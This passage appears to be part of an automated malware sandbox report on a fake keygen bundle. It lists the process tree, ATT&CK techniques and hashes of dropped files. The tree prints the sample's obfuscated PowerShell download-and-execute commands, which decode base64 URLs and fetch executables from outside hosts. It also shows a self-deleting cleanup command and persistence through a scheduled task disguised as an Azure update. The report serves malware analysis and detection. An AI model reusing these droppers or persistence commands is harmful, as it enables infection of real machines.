                                          "C:\Windows\System32\cmd.exe" /c taskkill /pid 4964 & erase C:\Users\Admin\AppData\Local\Temp\Dxndvkhrxwosconsoleapp14.exe & RD /S /Q C:\\ProgramData\\899417348964903\\* & exit
                                          14⤵
                                          • Checks whether UAC is enabled
                                          • Maps connected drives based on registry
                                          PID:4160
                                          • C:\Windows\SysWOW64\taskkill.exe
                                            taskkill /pid 4964
                                            15⤵
                                            • Kills process with taskkill
                                            PID:2328
                                  • C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe
                                    C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe
                                    11⤵
                                    • Executes dropped EXE
                                    PID:4312
                              • C:\Users\Admin\AppData\Local\Temp\gev.exe
                                C:\Users\Admin\AppData\Local\Temp\gev.exe
                                9⤵
                                • Executes dropped EXE
                                PID:4880
                              • C:\Users\Admin\AppData\Local\Temp\gev.exe
                                C:\Users\Admin\AppData\Local\Temp\gev.exe
                                9⤵
                                • Executes dropped EXE
                                • Checks whether UAC is enabled
                                • Maps connected drives based on registry
                                PID:2132
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 2132 -s 1444
                                  10⤵
                                  • Maps connected drives based on registry
                                  • Program crash
                                  PID:4912
                        • C:\Windows\SysWOW64\timeout.exe
                          timeout 2
                          6⤵
                          • Delays execution with timeout.exe
                          PID:1548
                        • C:\Windows\SysWOW64\mshta.exe
                          "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1D34.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                          6⤵
                          • Checks whether UAC is enabled
                          PID:1556
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                            7⤵
                            • Blocklisted process makes network request
                            • Maps connected drives based on registry
                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                            • Suspicious behavior: EnumeratesProcesses
                            PID:4136
                        • C:\Windows\SysWOW64\mshta.exe
                          "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1D34.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                          6⤵
                          • Checks whether UAC is enabled
                          PID:4260
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
                            7⤵
                            • Maps connected drives based on registry
                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                            • Suspicious behavior: EnumeratesProcesses
                            PID:4368
              • C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
                C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
                1⤵
                • Executes dropped EXE
                • Checks whether UAC is enabled
                • Maps connected drives based on registry
                • Suspicious use of SetThreadContext
                PID:3484
                • C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
                  C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
                  2⤵
                  • Executes dropped EXE
                  • Checks whether UAC is enabled
                  • Maps connected drives based on registry
                  PID:1668
                  • C:\Windows\SysWOW64\schtasks.exe
                    /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"
                    3⤵
                    • Creates scheduled task(s)
                    PID:1148
              • C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
                C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
                1⤵
                • Executes dropped EXE
                • Checks whether UAC is enabled
                • Maps connected drives based on registry
                • Suspicious use of SetThreadContext
                PID:4424
                • C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
                  C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
                  2⤵
                  • Executes dropped EXE
                  PID:1676
              • C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
                C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
                1⤵
                • Executes dropped EXE
                • Checks whether UAC is enabled
                • Maps connected drives based on registry
                • Suspicious use of SetThreadContext
                PID:4548
                • C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
                  C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
                  2⤵
                  • Executes dropped EXE
                  PID:4560
              • C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
                C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe
                1⤵
                • Executes dropped EXE
                PID:1264

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Execution

              Scheduled Task

              1
              T1053

              Persistence

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              2
              T1060

              Scheduled Task

              1
              T1053

              Hidden Files and Directories

              1
              T1158

              Privilege Escalation

              Scheduled Task

              1
              T1053

              Defense Evasion

              Modify Registry

              7
              T1112

              Install Root Certificate

              1
              T1130

              Hidden Files and Directories

              1
              T1158

              Credential Access

              Credentials in Files

              5
              T1081

              Discovery

              Query Registry

              5
              T1012

              System Information Discovery

              6
              T1082

              Peripheral Device Discovery

              1
              T1120

              Collection

              Data from Local System

              5
              T1005

              Email Collection

              1
              T1114

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe.log
                MD5

                e515039a8d5a085ff2e6b44d1a17a958

                SHA1

                f8a766108bde32e852915233bc043d6d7f8b74ec

                SHA256

                ee7d04f722b7f7c9750d2aad4919cc80b249593558a0b18ca818e0f64279d5f2

                SHA512

                bfe36952331f835f1b7c545ed39d57b910a0d4a922a05de4f813b5121dbd6dee5418bd43cb3b5e383d22d8860436c13c39d2e2133894dd1f31091d5cd1437f21

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                MD5

                b751492c41c6f3173d3b6f31c1b9b4eb

                SHA1

                abc53a2c939b1d774940deb0b888b7b1ba5a3c7b

                SHA256

                ad95fdf313324ed94997cec026239ea3631bf27298500e5def5941db9493b457

                SHA512

                afa65279455b98353c6fe6869f2b545231231a953afbb1bf2eaed6b11646c4b4c77c5c18102651ae247a2f0fa18c698d908f4d23ca91581cbf28e32e061cb2e2

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                MD5

                9435f4a6d08a94281171d9032dd89062

                SHA1

                f8f87a03c3f304cbf4293aed2b0f085109a518de

                SHA256

                25a9918b84aac24776f9c569d39af30cd800018e4d789f991eef6eaea0e269c1

                SHA512

                d66952b63b293acf2ee0338a1947fa9d45ca3bcdad25f701f6978e911499ed3fed60a76a4e196e9e36f4683f443e602599934d5d3f59dac21cec86f00c9c56b4

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                MD5

                9435f4a6d08a94281171d9032dd89062

                SHA1

                f8f87a03c3f304cbf4293aed2b0f085109a518de

                SHA256

                25a9918b84aac24776f9c569d39af30cd800018e4d789f991eef6eaea0e269c1

                SHA512

                d66952b63b293acf2ee0338a1947fa9d45ca3bcdad25f701f6978e911499ed3fed60a76a4e196e9e36f4683f443e602599934d5d3f59dac21cec86f00c9c56b4

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                MD5

                24826852c60807bbddbe6525291292d8

                SHA1

                7cfe7e335afd0fb7b6f88ab207e00cc7af227710

                SHA256

                41744e48bc70ffd32c77198ee8ec1b5bff7a41f8f485f618d8571cb0766f042e

                SHA512

                62941ee6050a6f0f0309f63f2c1fbf53b9d08784bc38de46a300b3da028fa26be3031e494e7ef9b6bd780c437021935f5faff18ebe2162f88580844f72a0596a

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                MD5

                82c6445c587f733b6763e2af371b2898

                SHA1

                685f88c18918031c2e2baf519ad2b9c2ecefac70

                SHA256

                b6d9b5bc254dbe7bda4877679cc0db95fa8695940b9c3dec362191a1af22bb2a

                SHA512

                98d19b3a51a37b1b1cfa43122f3fa4db25ba86ecc0b894ca5f8fb409105ec1e9579044b1aa648e41ee95f4ebddfe68b6aabb1a08c7a6a6fc4780d6a0ecaaaf6e

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                MD5

                82c6445c587f733b6763e2af371b2898

                SHA1

                685f88c18918031c2e2baf519ad2b9c2ecefac70

                SHA256

                b6d9b5bc254dbe7bda4877679cc0db95fa8695940b9c3dec362191a1af22bb2a

                SHA512

                98d19b3a51a37b1b1cfa43122f3fa4db25ba86ecc0b894ca5f8fb409105ec1e9579044b1aa648e41ee95f4ebddfe68b6aabb1a08c7a6a6fc4780d6a0ecaaaf6e

              • C:\Users\Admin\AppData\Local\Temp\1D34.tmp\Keygen.exe
                MD5

                ea2c982c12fbec5f145948b658da1691

                SHA1

                d17baf0b8f782934da0c686f2e87f019643be458

                SHA256

                eecd6f108f35df83d4450effa5d5640efe7e5f2fff819833f01fb2d053e626d4

                SHA512

                1f1d6768467fff8387be1cf536e01cfbf28cb04777fa184f18fcab0c518ead8d52827abe5ca1c566c425616c7b06ab1bce0c92dd684c818b51fc52fa0f4b74b8

              • C:\Users\Admin\AppData\Local\Temp\1D34.tmp\Keygen.exe
                MD5

                ea2c982c12fbec5f145948b658da1691

                SHA1

                d17baf0b8f782934da0c686f2e87f019643be458

                SHA256

                eecd6f108f35df83d4450effa5d5640efe7e5f2fff819833f01fb2d053e626d4

                SHA512

                1f1d6768467fff8387be1cf536e01cfbf28cb04777fa184f18fcab0c518ead8d52827abe5ca1c566c425616c7b06ab1bce0c92dd684c818b51fc52fa0f4b74b8

              • C:\Users\Admin\AppData\Local\Temp\1D34.tmp\b.hta
                MD5

                5bbba448146acc4530b38017be801e2e

                SHA1

                8c553a7d3492800b630fc7d65a041ae2d466fb36

                SHA256

                96355db8fd29dcb1f30262c3eac056ff91fd8fa28aa331ed2bedd2bd5f0b3170

                SHA512

                48e3d605b7c5531cb6406c8ae9d3bd8fbb8f36d7dd7a4cbe0f23fc6ef2df08267ce50d29c7ec86bf861ebdcf9e48fb9c61c218f6584f1a9a0289a10a2fec730b

              • C:\Users\Admin\AppData\Local\Temp\1D34.tmp\b1.hta
                MD5

                c57770e25dd4e35b027ed001d9f804c2

                SHA1

                408b1b1e124e23c2cc0c78b58cb0e595e10c83c0

                SHA256

                bb0fd0011d5a0c1bbb69cb997700eb329eee7bed75fef677122fcfda78edc7f5

                SHA512

                ac6d957d2b6218d9c19dea60b263d6148f730a7a4599e03023afc0881b9f4051d20e5f1d94fc3e416c5e12bcc9846a43af90f55767271ef0cc4b84f31f432ae7

              • C:\Users\Admin\AppData\Local\Temp\1D34.tmp\ba.hta
                MD5

                b762ca68ba25be53780beb13939870b2

                SHA1

                1780ee68efd4e26ce1639c6839c7d969f0137bfd

                SHA256

                c15f61a3c6397babdf83b99b45345fec9851c4d3669c95b717f756b7c48050d1

                SHA512

                f99570d2dae550cb1474e2d1cabf8296a685e0e7254d92eb21d856acb8dece635a0842a00d63da2a4faa18c52c57244c565d6a752c857d5c15e8c23b3d4a9e1a

              • C:\Users\Admin\AppData\Local\Temp\1D34.tmp\ba1.hta
                MD5

                a2ea849e5e5048a5eacd872a5d17aba5

                SHA1

                65acf25bb62840fd126bf8adca3bb8814226e30f

                SHA256

                0c4ffba2e00da7c021d0dcab292d53290a4dc4d067c029e5db30ba2ac094344c

                SHA512

                d4e53c150e88f31c9896decfaa9f0a8dfab5d6d9691af162a6c0577786620fb1f3617398fc257789a52e0988bf1bfc94255db6d003397863b0b9e82afabdb89f

              • C:\Users\Admin\AppData\Local\Temp\1D34.tmp\m.hta
                MD5

                9383fc3f57fa2cea100b103c7fd9ea7c

                SHA1

                84ea6c1913752cb744e061ff2a682d9fe4039a37

                SHA256

                831e8ee7bc3eeeaaa796a34cbb080658dec1be7eb26eb2671353f650041b220d

                SHA512

                16eda09f6948742933b6504bc96eb4110952e95c4be752e12732cb3b92db64daa7a7a0312ca78ff1ceb7cffd7bd8a7d46514226fc3cea375b4edb02a98422600

              • C:\Users\Admin\AppData\Local\Temp\1D34.tmp\m1.hta
                MD5

                5eb75e90380d454828522ed546ea3cb7

                SHA1

                45c89f292d035367aeb2ddeb3110387a772c8a49

                SHA256

                dd43305abbbe5b6cc4ab375b6b0c9f8667967c35bb1f6fefb0f1a59c7c73bd5e

                SHA512

                0670ef4f687c4814125826b996d10f6dd8a1dd328e04b9c436ee657486b27b1eefad5b82dcc25bd239d36b7ac488f98e5adcff56c5e82f7d0ed41f03301947c4

              • C:\Users\Admin\AppData\Local\Temp\1D34.tmp\start.bat
                MD5

                68d86e419dd970356532f1fbcb15cb11

                SHA1

                e9ef9a9d047f1076ba2afbe4eabec2ea2338fb0a

                SHA256

                d150a28b978b2d92caac25ee0a805dec96381471702a97f1099707b8538c6cbe

                SHA512

                3078c8c33b18ca1aa3bb2f812e5f587f5b081a4bd857f942ab382383faf09dbe8af38054546bf49037b79081c9406dc25647ae5bd843abc8fcca25c7b3afae14

              • C:\Users\Admin\AppData\Local\Temp\872D.tmp\Microsoft.VisualStudio.Package.LanguageService.11.0.exe
                MD5

                89158e00639d9ef6ee9337b4f19e74f4

                SHA1

                dc0f6e9025c284b3071dbfc6f1a8b8c0c639fce8

                SHA256

                9f46c479aacf5bb3810ab29c4f2950c34902aaf864bccd844f54d121a75d0b1d

                SHA512

                c23832cd017aa36dca87308aa0cbc5a3c710e34ba46bd5f689031740d235537c9d226b1de57bcc8823236959561ada368789a6cf5a49a4cbe7ee1781af366add

              • C:\Users\Admin\AppData\Local\Temp\872D.tmp\Microsoft.VisualStudio.Package.LanguageService.11.0.exe
                MD5

                89158e00639d9ef6ee9337b4f19e74f4

                SHA1

                dc0f6e9025c284b3071dbfc6f1a8b8c0c639fce8

                SHA256

                9f46c479aacf5bb3810ab29c4f2950c34902aaf864bccd844f54d121a75d0b1d

                SHA512

                c23832cd017aa36dca87308aa0cbc5a3c710e34ba46bd5f689031740d235537c9d226b1de57bcc8823236959561ada368789a6cf5a49a4cbe7ee1781af366add

              • C:\Users\Admin\AppData\Local\Temp\872D.tmp\bb.exe
                MD5

                347d7700eb4a4537df6bb7492ca21702

                SHA1

                983189dab4b523e19f8efd35eee4d7d43d84aca2

                SHA256

                a9963808a1a358d6ee26ab88bdab4add50512de1a863aa79937815444ee64da8

                SHA512

                5efb1bce5b5fe74c886126c7bf3627628842a73d31550aee61b71e462b0cc4256b07ae2dc8c207917c5e134c15b8b1d5f3bbbd76724a9b12188f32ba48c25ac9

              • C:\Users\Admin\AppData\Local\Temp\872D.tmp\bb.exe
                MD5

                347d7700eb4a4537df6bb7492ca21702

                SHA1

                983189dab4b523e19f8efd35eee4d7d43d84aca2

                SHA256

                a9963808a1a358d6ee26ab88bdab4add50512de1a863aa79937815444ee64da8

                SHA512

                5efb1bce5b5fe74c886126c7bf3627628842a73d31550aee61b71e462b0cc4256b07ae2dc8c207917c5e134c15b8b1d5f3bbbd76724a9b12188f32ba48c25ac9

              • C:\Users\Admin\AppData\Local\Temp\872D.tmp\bb.exe
                MD5

                347d7700eb4a4537df6bb7492ca21702

                SHA1

                983189dab4b523e19f8efd35eee4d7d43d84aca2

                SHA256

                a9963808a1a358d6ee26ab88bdab4add50512de1a863aa79937815444ee64da8

                SHA512

                5efb1bce5b5fe74c886126c7bf3627628842a73d31550aee61b71e462b0cc4256b07ae2dc8c207917c5e134c15b8b1d5f3bbbd76724a9b12188f32ba48c25ac9

              • C:\Users\Admin\AppData\Local\Temp\872D.tmp\ereds.exe
                MD5

                767d99623569552123fb197eead28fca

                SHA1

                9f1016e3cce207c6ed707482104ea3ee9034accf

                SHA256

                83340560b73a536090d42341628d6d1f966f437dc8462a6d69f993dc7f17e145

                SHA512

                897fa44f7b939557434155df170694269d1b9d575f28dff1d930a6b98b04d96fc002ab1921a8723ded5ae4e009dde3d18ce5d819ff1f471f14cadaa39386f36c

              • C:\Users\Admin\AppData\Local\Temp\872D.tmp\ereds.exe
                MD5

                767d99623569552123fb197eead28fca

                SHA1

                9f1016e3cce207c6ed707482104ea3ee9034accf

                SHA256

                83340560b73a536090d42341628d6d1f966f437dc8462a6d69f993dc7f17e145

                SHA512

                897fa44f7b939557434155df170694269d1b9d575f28dff1d930a6b98b04d96fc002ab1921a8723ded5ae4e009dde3d18ce5d819ff1f471f14cadaa39386f36c

              • C:\Users\Admin\AppData\Local\Temp\872D.tmp\key.exe
                MD5

                4d50c264c22fd1047a8a3bd8b77b3bd1

                SHA1

                007d3a3b116834e1ef181397dde48108a660a380

                SHA256

                2f6c41716ddd86a9316a24074747286e9e1a033780b82ef3ce47f5d821655c45

                SHA512

                8f8c56e8c0a1c4f9b10332139b48e4709890c29073dd47e67f460e8f9453150b89947a4fe83974474861a47c99b2749fecc262fb7ffb080854b0e7724078b5a7

              • C:\Users\Admin\AppData\Local\Temp\872D.tmp\key.exe
                MD5

                4d50c264c22fd1047a8a3bd8b77b3bd1

                SHA1

                007d3a3b116834e1ef181397dde48108a660a380

                SHA256

                2f6c41716ddd86a9316a24074747286e9e1a033780b82ef3ce47f5d821655c45

                SHA512

                8f8c56e8c0a1c4f9b10332139b48e4709890c29073dd47e67f460e8f9453150b89947a4fe83974474861a47c99b2749fecc262fb7ffb080854b0e7724078b5a7

              • C:\Users\Admin\AppData\Local\Temp\872D.tmp\puttty.exe
                MD5

                8a40892abb22c314d13d30923f9b96c8

                SHA1

                ff6807c0e8454101746b57fd8cc22105b6d98100

                SHA256

                ee59ca12eb0a166e08f2fae9f6bb818496b9172b4bc11d22b47d184f72b6aae8

                SHA512

                8a2bfd6e49262f0a68a5ab7c7385d30a2f2ed150f641d00b8bf1c9817d2d23151a6b1ac13c2aece4c93fee78d6c3dc3480cc70b67b9a344063891f3e0f4f5f5b

              • C:\Users\Admin\AppData\Local\Temp\872D.tmp\puttty.exe
                MD5

                8a40892abb22c314d13d30923f9b96c8

                SHA1

                ff6807c0e8454101746b57fd8cc22105b6d98100

                SHA256

                ee59ca12eb0a166e08f2fae9f6bb818496b9172b4bc11d22b47d184f72b6aae8

                SHA512

                8a2bfd6e49262f0a68a5ab7c7385d30a2f2ed150f641d00b8bf1c9817d2d23151a6b1ac13c2aece4c93fee78d6c3dc3480cc70b67b9a344063891f3e0f4f5f5b

              • C:\Users\Admin\AppData\Local\Temp\872D.tmp\start.bat
                MD5

                f96458f7f2a09565f4b715dba1279633

                SHA1

                86e808b7a0d46dcce31c2257f694d57f1391da9e

                SHA256

                e44b8c63fd1af7398baf56956f1bb67ee6da398df848451efaef980ad36fbc79

                SHA512

                8da2ce25b5cbf12bb150d7078dbb51423f90039de5bdc05c7d652518af992a6607f989615ae08d710d6f7e37913b9bfc7b5e218d8c530e0aa377dc07c397cd78

              • C:\Users\Admin\AppData\Local\Temp\Dvdljtaccvivylcfphls.vbs
                MD5

                0ed52a967ea7d34f484fcfed94e7f784

                SHA1

                800da2da87c8c1b8f7af76bfe8d240343677a37b

                SHA256

                3dffe5d82108c0b6abac9bb63d8b9ace69627e1fd83e105b4a481bd9aee849ab

                SHA512

                27449e98a8928a8c855eb69a13a127c74d8e5a31c91ef412fd48629bb697ad8246c67e3a4ff1fb512ea94cb5f8df4f8168b31f412149dfd3052995bca3e05e5c

              • C:\Users\Admin\AppData\Local\Temp\Dvdljtaccvivylcfphls.vbs
                MD5

                0ed52a967ea7d34f484fcfed94e7f784

                SHA1

                800da2da87c8c1b8f7af76bfe8d240343677a37b

                SHA256

                3dffe5d82108c0b6abac9bb63d8b9ace69627e1fd83e105b4a481bd9aee849ab

                SHA512

                27449e98a8928a8c855eb69a13a127c74d8e5a31c91ef412fd48629bb697ad8246c67e3a4ff1fb512ea94cb5f8df4f8168b31f412149dfd3052995bca3e05e5c

              • C:\Users\Admin\AppData\Local\Temp\Dxndvkhrxwosconsoleapp14.exe
                MD5

                d41d8cd98f00b204e9800998ecf8427e

                SHA1

                da39a3ee5e6b4b0d3255bfef95601890afd80709

                SHA256

                e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                SHA512

                cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

              • C:\Users\Admin\AppData\Local\Temp\Dxndvkhrxwosconsoleapp14.exe
                MD5

                c958e1bd43224bd5e3d74106e9be579d

                SHA1

                6ca966f745e661c3eff660616bd18a8c1b0bfa31

                SHA256

                21e84224e2521ec496d68d6d6678efb4d847c24d3b492f184b6dac825351aaf0

                SHA512

                f46d5cd69d8ef3dc5162bf7b60d4809eb94d8eef8c2cb604c19422dc68524b558796378680637585ace68f4796d7bb1cc152f93d4d1c8bba514bba51b2f94639

              • C:\Users\Admin\AppData\Local\Temp\Dxndvkhrxwosconsoleapp14.exe
                MD5

                c958e1bd43224bd5e3d74106e9be579d

                SHA1

                6ca966f745e661c3eff660616bd18a8c1b0bfa31

                SHA256

                21e84224e2521ec496d68d6d6678efb4d847c24d3b492f184b6dac825351aaf0

                SHA512

                f46d5cd69d8ef3dc5162bf7b60d4809eb94d8eef8c2cb604c19422dc68524b558796378680637585ace68f4796d7bb1cc152f93d4d1c8bba514bba51b2f94639

              • C:\Users\Admin\AppData\Local\Temp\Dxndvkhrxwosconsoleapp14.exe
                MD5

                c958e1bd43224bd5e3d74106e9be579d

                SHA1

                6ca966f745e661c3eff660616bd18a8c1b0bfa31

                SHA256

                21e84224e2521ec496d68d6d6678efb4d847c24d3b492f184b6dac825351aaf0

                SHA512

                f46d5cd69d8ef3dc5162bf7b60d4809eb94d8eef8c2cb604c19422dc68524b558796378680637585ace68f4796d7bb1cc152f93d4d1c8bba514bba51b2f94639

              • C:\Users\Admin\AppData\Local\Temp\Rmfigo.vbs
                MD5

                40b8efed98984fc5e72728b753f65bb4

                SHA1

                66c0895efce70eed872c1096a12cca3efec8451a

                SHA256

                648164c4790bd9909130116cf26b730883930efa93344837bb47941af57eb300

                SHA512

                91440426883c6798bad35b80c4ee67be2ef91d0e85414172754600655c4343b0d2b48a758fb4db6b0fe8876a401906e2e8687b8b6565eb9b515e0f21b6217fde

              • C:\Users\Admin\AppData\Local\Temp\Rmfigo.vbs
                MD5

                40b8efed98984fc5e72728b753f65bb4

                SHA1

                66c0895efce70eed872c1096a12cca3efec8451a

                SHA256

                648164c4790bd9909130116cf26b730883930efa93344837bb47941af57eb300

                SHA512

                91440426883c6798bad35b80c4ee67be2ef91d0e85414172754600655c4343b0d2b48a758fb4db6b0fe8876a401906e2e8687b8b6565eb9b515e0f21b6217fde

              • C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe
                MD5

                ac1e7e050ae20b96b165a51dc782dd8c

                SHA1

                933321877628be5ebe8c754bef3844c8173e4554

                SHA256

                4c4c054253fa0b462c388d40eb52de7d31c4212a729ef7924fcffb8ce20f6589

                SHA512

                4ff6ac5d47698a5e6166ccdab205068782e7f841de9db182ce3e849637415950ab1e8691f5282c282ea5c24d8dd5c66497361854db16aeb8c6d2f99f1c6e2644

              • C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe
                MD5

                ac1e7e050ae20b96b165a51dc782dd8c

                SHA1

                933321877628be5ebe8c754bef3844c8173e4554

                SHA256

                4c4c054253fa0b462c388d40eb52de7d31c4212a729ef7924fcffb8ce20f6589

                SHA512

                4ff6ac5d47698a5e6166ccdab205068782e7f841de9db182ce3e849637415950ab1e8691f5282c282ea5c24d8dd5c66497361854db16aeb8c6d2f99f1c6e2644

              • C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe
                MD5

                ac1e7e050ae20b96b165a51dc782dd8c

                SHA1

                933321877628be5ebe8c754bef3844c8173e4554

                SHA256

                4c4c054253fa0b462c388d40eb52de7d31c4212a729ef7924fcffb8ce20f6589

                SHA512

                4ff6ac5d47698a5e6166ccdab205068782e7f841de9db182ce3e849637415950ab1e8691f5282c282ea5c24d8dd5c66497361854db16aeb8c6d2f99f1c6e2644

              • C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe
                MD5

                ac1e7e050ae20b96b165a51dc782dd8c

                SHA1

                933321877628be5ebe8c754bef3844c8173e4554

                SHA256

                4c4c054253fa0b462c388d40eb52de7d31c4212a729ef7924fcffb8ce20f6589

                SHA512

                4ff6ac5d47698a5e6166ccdab205068782e7f841de9db182ce3e849637415950ab1e8691f5282c282ea5c24d8dd5c66497361854db16aeb8c6d2f99f1c6e2644

              • C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe
                MD5

                ac1e7e050ae20b96b165a51dc782dd8c

                SHA1

                933321877628be5ebe8c754bef3844c8173e4554

                SHA256

                4c4c054253fa0b462c388d40eb52de7d31c4212a729ef7924fcffb8ce20f6589

                SHA512

                4ff6ac5d47698a5e6166ccdab205068782e7f841de9db182ce3e849637415950ab1e8691f5282c282ea5c24d8dd5c66497361854db16aeb8c6d2f99f1c6e2644

              • C:\Users\Admin\AppData\Local\Temp\Uxqcrfgglyzuwogibeigruaconsoleapp12.exe
                MD5

                ac1e7e050ae20b96b165a51dc782dd8c

                SHA1

                933321877628be5ebe8c754bef3844c8173e4554

                SHA256

                4c4c054253fa0b462c388d40eb52de7d31c4212a729ef7924fcffb8ce20f6589

                SHA512

                4ff6ac5d47698a5e6166ccdab205068782e7f841de9db182ce3e849637415950ab1e8691f5282c282ea5c24d8dd5c66497361854db16aeb8c6d2f99f1c6e2644

              • C:\Users\Admin\AppData\Local\Temp\afolder\data.dat
